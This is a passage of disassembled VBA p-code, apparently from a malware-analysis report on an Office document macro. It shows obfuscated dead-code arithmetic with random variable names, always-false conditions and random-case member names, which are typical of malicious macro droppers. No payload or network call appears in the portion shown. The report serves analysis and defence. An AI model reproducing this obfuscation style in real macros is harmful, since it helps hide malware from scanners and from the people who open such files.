' 	Coerce (Sng) 
' 	Mul 
' 	Ld tADA1QAU 
' 	Sub 
' 	Ld PAAAAk 
' 	LitDI4 0x2D08 0x0532 
' 	Div 
' 	LitDI4 0xE163 0x11FB 
' 	Add 
' 	Ld bQGZBB 
' 	LitDI4 0x726A 0x02E4 
' 	FnSgn 
' 	Sub 
' 	Ld FCAcAA 
' 	LitDI4 0x3247 0x18A4 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x00FB 0x3823 
' 	LitDI4 0xE068 0x2569 
' 	Add 
' 	LitDI4 0x71D6 0x0D03 
' 	Ld bDQACUAA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St nDkAA4A 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	LitDI4 0x23C9 0x0668 
' 	LitDI4 0x5B45 0x2381 
' 	Eq 
' 	IfBlock 
' Line #24:
' 	LitDI4 0x9AEB 0x29D3 
' 	Ld wAAABX 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x2E1C 0x1EE7 
' 	Ld RAwQAAA 
' 	Div 
' 	Ld w1o4cAD 
' 	LitDI4 0x33EC 0x007F 
' 	Ld cAUDQD 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld nBDCADBx 
' 	Sub 
' 	Ld KAAk_DD 
' 	LitDI4 0x763A 0x0485 
' 	Div 
' 	LitDI4 0xB7E9 0x1EAD 
' 	Add 
' 	Ld JAQ_AA 
' 	LitDI4 0x55B4 0x3944 
' 	FnSgn 
' 	Sub 
' 	Ld kUUBAAAA 
' 	LitDI4 0xB6FD 0x3877 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x3202 0x0F03 
' 	LitDI4 0x3FAF 0x0FD0 
' 	Add 
' 	LitDI4 0x056B 0x1B19 
' 	Ld pcZAXxA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St G_4AUoQ 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	LitDI4 0xEC52 0x0001 
' 	LitDI4 0xEC52 0x0001 
' 	Le 
' 	IfBlock 
' Line #27:
' 	LitDI4 0xC9E8 0x1BF0 
' 	LitDI4 0x64B1 0x0AFA 
' 	Eq 
' 	IfBlock 
' Line #28:
' 	LitDI4 0x0143 0x1B62 
' 	Ld dQQoXC 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x1CDC 0x1B0D 
' 	Ld EQooDA 
' 	Div 
' 	Ld WAADGQ_c 
' 	LitDI4 0x54F4 0x0421 
' 	Ld qAcBA_oc 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld wZcoXA 
' 	Sub 
' 	Ld vACUZAU 
' 	LitDI4 0xBF65 0x0A04 
' 	Div 
' 	LitDI4 0x537E 0x36F2 
' 	Add 
' 	Ld tcUXCU 
' 	LitDI4 0x519E 0x0E17 
' 	FnSgn 
' 	Sub 
' 	Ld fAwGUQUZ 
' 	LitDI4 0xBA8B 0x1A5D 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xC670 0x1D84 
' 	LitDI4 0xE287 0x31D6 
' 	Add 
' 	LitDI4 0xB0A6 0x2207 
' 	Ld YQA4DCo 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St cxckQACB 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	LitDI4 0x34D2 0x1C39 
' 	LitDI4 0xE994 0x358B 
' 	Eq 
' 	IfBlock 
' Line #31:
' 	LitDI4 0x77B0 0x1A9E 
' 	Ld nwwwX_ 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xA79B 0x0C75 
' 	Ld d4GAB1Q 
' 	Div 
' 	Ld QADAUDC 
' 	LitDI4 0xE5C7 0x0A37 
' 	Ld YBADXkAX 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld nAoAABA 
' 	Sub 
' 	Ld fBBAAx 
' 	LitDI4 0x1FDB 0x2A70 
' 	Div 
' 	LitDI4 0x88FA 0x30FB 
' 	Add 
' 	Ld UQAAABQ 
' 	LitDI4 0x01AE 0x27AD 
' 	FnSgn 
' 	Sub 
' 	Ld K1kDBBA 
' 	LitDI4 0x7A4E 0x123D 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x4065 0x028B 
' 	LitDI4 0x2A3B 0x0ACB 
' 	Add 
' 	LitDI4 0x4D5B 0x1CAC 
' 	Ld ZBACDAAA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St FDAAcABC 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	LitDI4 0x4D05 0x1D92 
' 	LitDI4 0x69F1 0x0F04 
' 	Eq 
' 	IfBlock 
' Line #34:
' 	LitDI4 0x91FF 0x1624 
' 	Ld fABAwAUA 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xB9AF 0x182A 
' 	Ld DAAAAB 
' 	Div 
' 	Ld FUDDAQU 
' 	LitDI4 0x38AE 0x06FD 
' 	Ld hBQAcABB 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld AGQAcUZA 
' 	Sub 
' 	Ld sDAUGXU 
' 	LitDI4 0xCF20 0x2D38 
' 	Div 
' 	LitDI4 0xF0C0 0x2E17 
' 	Add 
' 	Ld XAGAABAA 
' 	LitDI4 0xE994 0x17A6 
' 	FnSgn 
' 	Sub 
' 	Ld YCxAAAw 
' 	LitDI4 0x975C 0x38F0 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x8C6A 0x1439 
' 	LitDI4 0x6F01 0x1B1E 
' 	Add 
' 	LitDI4 0xA6CB 0x096C 
' 	Ld ckDQAD 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St hwwBDDUZ 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	LineCont 0x0004 02 00 00 00
' 	Ld AX1AQk 
' 	MemLd ShOwWiNdOw 
' 	Ld AX1AQk 
' 	MemLd ShOwWiNdOw 
' 	Sub 
' 	Ld AX1AQk 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld AX1AQk 
' 	MemLd ShOwWiNdOw 
' 	Add 
' 	Ld AX1AQk 
' 	MemLd ShOwWiNdOw 
' 	Add 
…

Open this report in the interactive analyzer, or submit your own file for analysis.